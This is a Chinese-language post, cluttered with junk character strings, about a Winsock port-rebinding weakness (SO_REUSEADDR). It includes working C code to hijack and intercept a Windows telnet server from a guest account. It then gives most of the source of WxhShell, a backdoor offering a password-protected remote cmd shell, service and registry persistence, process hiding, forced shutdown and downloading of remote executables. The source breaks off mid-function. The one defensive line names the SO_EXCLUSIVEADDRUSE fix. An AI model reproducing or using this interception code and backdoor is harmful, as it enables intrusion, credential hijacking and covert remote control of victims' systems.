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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: (@;^uVJP s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ~$hR:I1 PZlPC#E- saddr.sin_family = AF_INET; k!'+7K. MU\Pggs saddr.sin_addr.s_addr = htonl(INADDR_ANY); #)]/wqPoW 1b 2 bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); =E^/gc%X %s^1 de 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 G;EJ\J6@Yw E&5S[n9{3 这意味着什么?意味着可以进行如下的攻击: owb+,Gk( 'f.k'2T 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 R0LWuE%eD %r*,m3d 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 0Ub'=`]5a E> $_
$' 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 pZ3sp! He}?\C
Bo 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 [-\U)>MY(p ^ meU& 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 5FF28C)>/ w{So(AF 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 Q1rEUbvCE NL;sn" 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 *c&OAL] LZ.Xcy #include `!(%Rk #include aw~h03R_Z #include p<}y'7( #include ,v#n\LD` DWORD WINAPI ClientThread(LPVOID lpParam); dUl"w`3 int main() Gf:dN_e6. { pl)?4[`LUc WORD wVersionRequested; AO|1m$xf DWORD ret; wu`+KUx WSADATA wsaData; U^% )BI BOOL val; Fq5u%S SOCKADDR_IN saddr; !
Vlx SOCKADDR_IN scaddr; I,HtW ), int err; e6
x#4YH SOCKET s; .kMnq8u SOCKET sc; )N607 Fa- int caddsize; O:pg+o& HANDLE mt; |v5
ge3- DWORD tid; u86PTp+ wVersionRequested = MAKEWORD( 2, 2 ); NGkxg: err = WSAStartup( wVersionRequested, &wsaData ); =&qH%S6 if ( err != 0 ) { Z
P6p>?DQ printf("error!WSAStartup failed!\n"); x(R;xB return -1; Vsw:&$ } d_0(;' saddr.sin_family = AF_INET; ZbjUOlE02 ,J-|.ER-> //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 p]/[ji DHx&%]r;D saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); $!y^t$u$@ saddr.sin_port = htons(23); kv, !"< if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) M_.Jmh<&& { m%>}T75C^ printf("error!socket failed!\n"); CR%h$+dzy return -1; $Bl51VjN } R5(([C1 val = TRUE; }4H}*P> + //SO_REUSEADDR选项就是可以实现端口重绑定的 (v|<"
tv if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) \_6 { 75R#gQ]EV printf("error!setsockopt failed!\n"); +`>E_+Mp return -1; s/s&d pT* } wU<j=lY?f //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; '5[(QM5Gi& //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 47Bg[ //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 D %)L"5C ~{5va if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) SK^(7Ws~0 { R8eBIJ/@_ ret=GetLastError(); NH}o`x/ printf("error!bind failed!\n"); _>kc: return -1; XMT@<'fI } y
5=rr3%v listen(s,2); RWo7_X O while(1) wvxz:~M { /j4G} caddsize = sizeof(scaddr); Mx`';z8~ //接受连接请求 rKI<! sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 6sQ;Z |!Pz if(sc!=INVALID_SOCKET) >~Tn%u< { z=g!mVK5 mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); #\n*Qg4p if(mt==NULL) >A6W^J|[ { lNyyLLt printf("Thread Creat Failed!\n"); CI-za !T break; [u2t1^#Ol } {=mGXd`x?l } /2c(6h CloseHandle(mt); s@7h oU-+ } C4.GtY8,d closesocket(s); K%mR=u#%& WSACleanup(); -T{2R:\{ return 0; -l[$+Kw1S } xS5 -m6/ DWORD WINAPI ClientThread(LPVOID lpParam) ]4c+{ { ha=2isq SOCKET ss = (SOCKET)lpParam; >dm9YfQ SOCKET sc; Q1x&Zm1v unsigned char buf[4096]; Lw_|o[I} SOCKADDR_IN saddr; nK?S2/o#A long num; C~@m6K DWORD val; |Rkw/5 DWORD ret; K/f-9hE F //如果是隐藏端口应用的话,可以在此处加一些判断 5|K[WvG@Co //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 "G.X=,
V saddr.sin_family = AF_INET; 7H{1i saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); jG;J qT saddr.sin_port = htons(23); {cIk-nG-_ if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) EK"/4t{L_ { 0;">ETh= printf("error!socket failed!\n"); at@tS>Dv return -1; R#;xBBt8 } (B\
UZb val = 100; 7Vh if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) w)@Wug { S\:+5} ret = GetLastError(); 6Q]c} return -1; Z@&%"nO } tUc<ExvP, if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) F!)[H["_ { _0'X!1" ret = GetLastError(); Y)pop:y t return -1; {4Kvr4)4 } .<z7$lz\ if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) _u$DcA8B { "B
(?|r% printf("error!socket connect failed!\n"); ~//E'V- closesocket(sc); tJ >>cFx closesocket(ss); fK+E5~vQ return -1; %,02i@Fc } `:V'E>B while(1) pInEB6L.P { NFEr ,n //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 9S}rTZkEq //如果是嗅探内容的话,可以再此处进行内容分析和记录 `H$XO{w //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 s_fe4K num = recv(ss,buf,4096,0); *#Ia8^z=p if(num>0) ZlMT) ~fM& send(sc,buf,num,0); n~|?)EL else if(num==0) ki@C}T5 break; H8? Y{H num = recv(sc,buf,4096,0); xp95KxHHo if(num>0) .Hqq!& send(ss,buf,num,0); 5=
&2= else if(num==0) Y8v[kuo7 break; xlwf @XW } T:{r*zLSN closesocket(ss); [(#)9/3, closesocket(sc); (P-^ PNz& return 0 ; 'hBnV xd& } tR'RB@kJ M`'DD-Q a<r,LE ========================================================== ez[x8M> {._'Q[ 下边附上一个代码,,WXhSHELL {Oy|c "%^_.Db>| ==========================================================
a}FyJp 6#CswSpS #include "stdafx.h" #vyf*jPr Nr>UZlU8 #include <stdio.h> L{F]uz_[x #include <string.h> c]#}#RJ`\ #include <windows.h> *.>@ #include <winsock2.h> <zn)f@W #include <winsvc.h> |w*s:p #include <urlmon.h> fTy:Re 8o%Vn'^t #pragma comment (lib, "Ws2_32.lib") {X(nn.GpC #pragma comment (lib, "urlmon.lib") @#,/6s7? FD
8Lk #define MAX_USER 100 // 最大客户端连接数 g&2g>] #define BUF_SOCK 200 // sock buffer L k
nK #define KEY_BUFF 255 // 输入 buffer #9]2Uixq[ t}h(j| #define REBOOT 0 // 重启 _p0Yhju? #define SHUTDOWN 1 // 关机 Evm3Sm!S hui
#<2{ #define DEF_PORT 5000 // 监听端口 b=MW;]F EDgtn)1 #define REG_LEN 16 // 注册表键长度 ]i`Q+q[ #define SVC_LEN 80 // NT服务名长度 C$+Q,guM }'x)e // 从dll定义API Z!|r> typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); N^oP,^+U typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); P`Ku.
ONQ typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Fh)xm* u( typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); !vu-`u~86 Kj
@<$ChZw // wxhshell配置信息 Oz-/0;1n struct WSCFG { g*oX`K. int ws_port; // 监听端口 ig.Z,R3@r char ws_passstr[REG_LEN]; // 口令 v;
#y^O
int ws_autoins; // 安装标记, 1=yes 0=no &57~i=A
3 char ws_regname[REG_LEN]; // 注册表键名 uVU)LOx char ws_svcname[REG_LEN]; // 服务名 7MrHu2rZ= char ws_svcdisp[SVC_LEN]; // 服务显示名 RNB&!NC
char ws_svcdesc[SVC_LEN]; // 服务描述信息 }9\6!GY0 char ws_passmsg[SVC_LEN]; // 密码输入提示信息 o}KVT%} int ws_downexe; // 下载执行标记, 1=yes 0=no i&6U5Va,G char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" vPYHM2 char ws_filenam[SVC_LEN]; // 下载后保存的文件名 %4!^AA% #*CMf.OCh }; 1PdG1'
+\_\53 // default Wxhshell configuration BE@(| U struct WSCFG wscfg={DEF_PORT, "QXnE^ "xuhuanlingzhe", kK4a;j.# 1, >Df;1:U "Wxhshell", >e6 OlIW "Wxhshell", ]h`*w "WxhShell Service", 18F}3t?? "Wrsky Windows CmdShell Service", AA,/AKikd "Please Input Your Password: ", nD
eVY K 1, Het"x " http://www.wrsky.com/wxhshell.exe", oA-,>:}g{ "Wxhshell.exe" cb)7$S }; ,iao56`E E%v0@ // 消息定义模块 [nV BnB char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; sv%E5@ char *msg_ws_prompt="\n\r? for help\n\r#>"; [#@lsI char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; qtAt=` s char *msg_ws_ext="\n\rExit."; --l
UEo ~ char *msg_ws_end="\n\rQuit."; vJ&D>Vh4e char *msg_ws_boot="\n\rReboot..."; xOShO"4Z char *msg_ws_poff="\n\rShutdown..."; xP_%d, char *msg_ws_down="\n\rSave to "; *Xk5H,: u5ZyOZ; char *msg_ws_err="\n\rErr!"; @u/CNx,`X char *msg_ws_ok="\n\rOK!"; 9;{(.K Iv char ExeFile[MAX_PATH]; <]G'& iv> int nUser = 0; "A
Bt HANDLE handles[MAX_USER]; T_Tu>wQX int OsIsNt; #OM'2@ MCibYvc[ SERVICE_STATUS serviceStatus; P2jh[a% SERVICE_STATUS_HANDLE hServiceStatusHandle; b?`2LAgn #|je m // 函数声明
$6UU58>n int Install(void); jcj8w int Uninstall(void); N}n3 +F int DownloadFile(char *sURL, SOCKET wsh); CQ6I4k int Boot(int flag); Co(N8>1 void HideProc(void); Wm-$l int GetOsVer(void); F%p DF\ int Wxhshell(SOCKET wsl); ["&{^ void TalkWithClient(void *cs); }Em{?Hqy int CmdShell(SOCKET sock); 00i MU int StartFromService(void); H:hM(m0?q int StartWxhshell(LPSTR lpCmdLine); r{r~!=u Hm>cKPZ) VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); D%3$"4M7! VOID WINAPI NTServiceHandler( DWORD fdwControl ); sk9Ejaf6> (OE S~G // 数据结构和表定义 [8Y7Q5Had SERVICE_TABLE_ENTRY DispatchTable[] = |Y}YhUI& { r@r*|50 {wscfg.ws_svcname, NTServiceMain}, ^(+q1O' {NULL, NULL} cOdRb=?9 }; ldp9+7n~ y[l{
UBue: // 自我安装 I>nYI|o1 int Install(void) Ek `bPQ5 { 7)<Ib
j<M char svExeFile[MAX_PATH]; 0!YVRit\N HKEY key; Hl%Og$q3 strcpy(svExeFile,ExeFile); fh)eL<I E-Xz // 如果是win9x系统,修改注册表设为自启动 9[VYd ' if(!OsIsNt) { ;0m J4G if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { NX%1L!
# RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 6|q"lS*$S RegCloseKey(key); 6p)&}m9! if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { J/Y9 X, RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 55.2UN RegCloseKey(key); PCaFG;} return 0; L`<#vi } WG A&Lr } 46)[F0,$r } C TG^lms else { ;0kAm
Vy V*s\ ~h) // 如果是NT以上系统,安装为系统服务 nHbi{,3 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); T=pP if (schSCManager!=0) _J\zj { U3B&3K} ~ SC_HANDLE schService = CreateService +-;v+{ ( qh6b;ae\x schSCManager, l]&A5tz3 wscfg.ws_svcname, qk'&:A wscfg.ws_svcdisp, Y1r'\@L w SERVICE_ALL_ACCESS, ZMMx)}hS SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ec#`9w$ SERVICE_AUTO_START, gh[q*%# SERVICE_ERROR_NORMAL, 3O*iv{-& svExeFile, *>qc6d@' NULL, Z;~%! NULL, viU} NULL, 'MYKAnZ-i NULL, BTr;F]W NULL 1yF9zKs&_ ); Y9f7~w^s if (schService!=0) -eV*I>G { ,^mEi CloseServiceHandle(schService); y~]D402Cx CloseServiceHandle(schSCManager); zFFYl7] strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); "wV strcat(svExeFile,wscfg.ws_svcname); 3)>re& if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { X$ul=iBs RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); @ ^F{ RegCloseKey(key); "'``O~08/ return 0; 1r.2bL*~jw } @qcUxu 4 } 9(HGe+R4o CloseServiceHandle(schSCManager); @+M1M2@Xz } \NDW@!X } AX{<d@z`j rT;l#<#VE return 1; Z-CA9&4Uh } -6_<] >clVV6B // 自我卸载 )cQ KR4x0^ int Uninstall(void) Yy/,I]F { ;9)nG,P3 HKEY key; fuHNsrNlm #+6j-^<_6 if(!OsIsNt) { 7W},5c if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { n=d#Fm0< RegDeleteValue(key,wscfg.ws_regname); d<ES RegCloseKey(key); <<qzZ+u if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { [8tpU&J RegDeleteValue(key,wscfg.ws_regname); > (n/ RegCloseKey(key); ho^c#>81 return 0; `r=^{Y } 4?(=?0/[ } LQ Ux} } *j,noHUT~> else { N!?~Dgw &~.|9P/45 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); gJwX if (schSCManager!=0) UjunIKX+ { M^l%*QF[,q SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ueW/i if (schService!=0) e]!`94f { s]=XAm"4 if(DeleteService(schService)!=0) { ixM#|Yq CloseServiceHandle(schService); gP8}d*W%b CloseServiceHandle(schSCManager); L28wT)D- return 0; ;
1?L } yP-$@Ry CloseServiceHandle(schService); .aWwJZ=[ } 9(=+OQ6 CloseServiceHandle(schSCManager); j1Sjw6}GCH } w"M!**bP } 'dQGb-<_< *hFJI9G return 1; ""V\hHdp
} OS
L~a_ H_Hr=_8}- // 从指定url下载文件 IwbV+mWQ int DownloadFile(char *sURL, SOCKET wsh) Ygfy;G% { g(jn
/Cx HRESULT hr; [UdJ(cGf char seps[]= "/"; HCktgL:E= char *token; `7`` 1TL char *file; -ImO y| char myURL[MAX_PATH]; 5``usn/&Kj char myFILE[MAX_PATH]; Wa?\W& %AT/g&M&1# strcpy(myURL,sURL); T9}dgf token=strtok(myURL,seps); ~:C`e4 while(token!=NULL) a(-t"OL\ { M>BVnB_,- file=token; 5P);t9O6 token=strtok(NULL,seps); /^si(BuC^* } b83m'`vRM {Aj=Rj@ GetCurrentDirectory(MAX_PATH,myFILE); ?v+el, strcat(myFILE, "\\"); 0|\A5
eG strcat(myFILE, file); nGJ+.z send(wsh,myFILE,strlen(myFILE),0); U;
#v-'Z send(wsh,"...",3,0); @Ko}Td&E( hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ! v%%_sRV if(hr==S_OK) +WxD=|p; return 0; 7/=r- else L[+4/a!HQ return 1; =':SOO7 oC!z+< } wUS w9xg }&l%>P // 系统电源模块 dZd]p8 int Boot(int flag) /5>A 2y { \3rgwbF HANDLE hToken; 1B{u4w7S4e TOKEN_PRIVILEGES tkp; 7;#o?6!7 PMj!T \B| if(OsIsNt) { $U^ Ms!'L OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); V1,4M _Z LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); xiC.M6/ tkp.PrivilegeCount = 1; u3 4.
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; K[-G2 AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); p@YbIn if(flag==REBOOT) { ]*rK; if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) &x4|!"G return 0; 9PR?'X;4 } '_n$xfH else { 0e'@Xo2e if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) [GW;RjPE return 0; A22'qgKm@ } dP/1E6*m } ~NK|q5(I else { `4|:8@,3{ if(flag==REBOOT) { ^
-lWv if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) E@@XWU21;N return 0; %$R]NL| } Uo:=-NNI else { CY@#_z if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Q\le3KB return 0; NrcxuItkYn } t8#u}u } +=L^h9F <)oW return 1; cEPqcy
* } 2B=BRVtSs QyEoWKu; // win9x进程隐藏模块 pc]( void HideProc(void) `jGG^w3 { l4E0/F b5%T)hn= HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Z~g7^,-t if ( hKernel != NULL ) {@X)=.Zf { _s0;mvz' pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); KD..X~Me ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); kK]L(ZU+ FreeLibrary(hKernel); M+M\3U } !ac,qj7spa Vfr.Yoy return; ]RI+:f } T^nOv2@, S),acc(d // 获取操作系统版本 /V>yF&p
int GetOsVer(void) `+T"^{
Z { IKeO&]k OSVERSIONINFO winfo; f2M}N winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); U!524"@%U` GetVersionEx(&winfo); p,S/-ph if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) U;Q?Rh-W return 1; Z2I2 [pA else G9ra;.
return 0; {60U6n } eh6=- AbOF/g)C // 客户端句柄模块 -pm%F8{T] int Wxhshell(SOCKET wsl) >+ku:<Hw%. { ys}I~MK - SOCKET wsh; EpH\;25u struct sockaddr_in client; |il P>b DWORD myID; Zopi;O J #J*hZ(Pq while(nUser<MAX_USER) p) m0\ { Uizg.<. int nSize=sizeof(client); lemUUl(^ wsh=accept(wsl,(struct sockaddr *)&client,&nSize); t$ 3/ZTx if(wsh==INVALID_SOCKET) return 1; GNI:k{H@"? Ou2p^:C( handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 6fw2;$x" if(handles[nUser]==0) Gxh1wqLR closesocket(wsh); CdNb&Nyz else e6I7N?j nUser++; !TPKD } ee
.,D WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 2$yNryd LCemM; o return 0; L-Pq/x2r } _ v3VUm# Hus.Jfam // 关闭 socket Pbl#ieZM void CloseIt(SOCKET wsh) )&.Zxo;q= { ;a~
e closesocket(wsh); }6 MoC0 nUser--; wp>L}! ExitThread(0); \~I>@SG2W+ } zIbrw9G h~u|v[@{J // 客户端请求句柄 vW`[CEm^X void TalkWithClient(void *cs) +E
}q0GV { +;N;r/d_i MW|:'D` SOCKET wsh=(SOCKET)cs; D Ax1 char pwd[SVC_LEN]; |sPUb;&~ char cmd[KEY_BUFF]; v1\/ dQK char chr[1]; J42/S [Rt int i,j; Apc!!*7 . MH;u3U while (nUser < MAX_USER) { )i$KrN6 \MB$ Cwc if(wscfg.ws_passstr) { RZqou|ki if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 6l&,!fd //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); (A\\s$fE/1 //ZeroMemory(pwd,KEY_BUFF); L_R(K89w i=0; Z6IWQo,)Rh while(i<SVC_LEN) { DN;3VT.- z?'z{+HY // 设置超时 "g&hsp+i"A fd_set FdRead; wg]VG, struct timeval TimeOut; Nh"U~zlh FD_ZERO(&FdRead); g0:{{w FD_SET(wsh,&FdRead); zx;~sUR; TimeOut.tv_sec=8; U,7}VdO TimeOut.tv_usec=0; jUd)|v+t int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); <^Jdl.G if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); M^ jEp J3_Ou2cF` if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); L4or*C^3 pwd =chr[0]; B PG&R if(chr[0]==0xd || chr[0]==0xa) { WM9z~z'2a pwd=0; EM,=R break; y=SVS3D } w7b\?]}@ i++; WlmkM?@ } q0VR&b`?>D ].Xh=7&2{ // 如果是非法用户,关闭 socket 1EA#c>I$ if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); d VyT ` } ##a.=gl 1;eWnb( send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); W}M3z send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); cr ~.],$Om U[W &D%' while(1) { dK>sHUu LyRW\\z2 ZeroMemory(cmd,KEY_BUFF); Q+ZZwqyxD hd@jm^k // 自动支持客户端 telnet标准 3>mAZZL5[ j=0; j?1wP6/NP while(j<KEY_BUFF) { 1x^Vv;K if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Q AX3*%h cmd[j]=chr[0]; heQyz|o if(chr[0]==0xa || chr[0]==0xd) { 0HN%3AG] cmd[j]=0; %{ory5 break; #|=Q5"wU } ]Wtg.y6; j++; I %|;M%B } "D'"uMS`H 61](a;Di // 下载文件 zJo?,c if(strstr(cmd,"http://")) { F(|XJN send(wsh,msg_ws_down,strlen(msg_ws_down),0); H:cAORLB if(DownloadFile(cmd,wsh)) %a']TX send(wsh,msg_ws_err,strlen(msg_ws_err),0); yf/i) else P~s u]+ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); D.gD4g_O/ } !wTrWD! else { zZ;V9KM>v &pW2R} switch(cmd[0]) { lN*beOj 7QRkXs // 帮助 \&[(PNl case '?': { LZ RP}| send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); K%1`LT5:~ break; wlgR =l } izs=5 // 安装 ojc.ykP$ case 'i': { YP>J'{?b*" if(Install())
ZmmX_!M send(wsh,msg_ws_err,strlen(msg_ws_err),0); OAf}\ else [ps4i_ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 1)!2D?w break; ik1asj1 } <Yg6=e // 卸载 VxtX%McK case 'r': { D>0(*O if(Uninstall()) #HZ W57" send(wsh,msg_ws_err,strlen(msg_ws_err),0); e8S4=W else [:+f Y[4== send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); TjHt:%7. break; j8c5_& } oX7_v_:J\R // 显示 wxhshell 所在路径 oRZe?h^r# case 'p': { 5+yy:#J] char svExeFile[MAX_PATH]; 'I$kDM mwh strcpy(svExeFile,"\n\r"); \>x1#Vr>#V strcat(svExeFile,ExeFile); aJ}hlM> send(wsh,svExeFile,strlen(svExeFile),0); =\G`g# break; ~RLWr.pK } @0(%ayi2Y // 重启 y?U@F/^}N case 'b': { FC
WF$'cO send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); dh9@3. t if(Boot(REBOOT)) #}l$<7ZU send(wsh,msg_ws_err,strlen(msg_ws_err),0); _}F_Q5) else { }QBL{\E! closesocket(wsh); Xk\IO0GF ExitThread(0); uh`5:V } Swh\^/B8 break; E\TWPV'/ } q3C // 关机 4U~'Oa@p case 'd': { <KfR)7I$0a send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 9WI5\`*" if(Boot(SHUTDOWN)) 0!oqP1 send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;e.8EL else { iiF`2 closesocket(wsh); +*,!q7Gt ExitThread(0); {Qc,Nl
[? } xojt s;n
break; Mdq|:^px } Kwi+}B! // 获取shell T?RN} @D case 's': { ^+~5\c* CmdShell(wsh); 3iUJ!gK closesocket(wsh); h=\1ZQKC) ExitThread(0); I L,l XB< break; v|KIVBkbT } :W6'G@ p // 退出 HB`'S7Q case 'x': { L9XfR$7,z send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); N;,zPW a
CloseIt(wsh); R !yh0y}Z break;
"a9j2+9 } 2vU-9p { // 离开 Pm%5c\ef case 'q': { P(DEf( send(wsh,msg_ws_end,strlen(msg_ws_end),0); ![$`Ivro` closesocket(wsh); [+QyKyhTO WSACleanup(); `wZ exit(1); y5F"JjQAa break; BMI`YGjY1 } `e fiX^ } H\H7a.@nkF } bRrSd:e `JY+3d,Ui // 提示信息 E)`0(Z:E if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); /KNR;n' } w>8kBQ?b } &-{%G=5~e% M$Bb,s return; QmSMDWkh } 'n>44_7 L %hN(79:g // shell模块句柄 ,i|K} Y& int CmdShell(SOCKET sock) ^/$dSXKF { Y652&{>q
STARTUPINFO si; vq.o;q / ZeroMemory(&si,sizeof(si)); K C"&3 si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ~(-1mB, si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; v#d(Kj PROCESS_INFORMATION ProcessInfo; ~JNE]mg char cmdline[]="cmd"; /W`CqJk-*. CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); _KKux3a return 0; F(zCvT } ju3@F8AI o5 ~VT!'[ // 自身启动模式 w=<E) int StartFromService(void) >2 #<tH0 { Z,SV9
~M typedef struct F_g(}wE#
q { ]n>9(Mp!M DWORD ExitStatus; yz!L:1DG DWORD PebBaseAddress; 2wnk~URj DWORD AffinityMask; ,9}JPv4Z DWORD BasePriority; @*~yVV!5 ULONG UniqueProcessId; D\+x/r?-I ULONG InheritedFromUniqueProcessId; 4H;7GNu } PROCESS_BASIC_INFORMATION; GD)paTwO< xb%Q[V_m PROCNTQSIP NtQueryInformationProcess; 7w" !"W# vea{o35! static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; lR7;{zlSf' static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Y:\]d1C yUD@oOVC0 HANDLE hProcess; YgjW%q PROCESS_BASIC_INFORMATION pbi; |bSAn*6b {D^
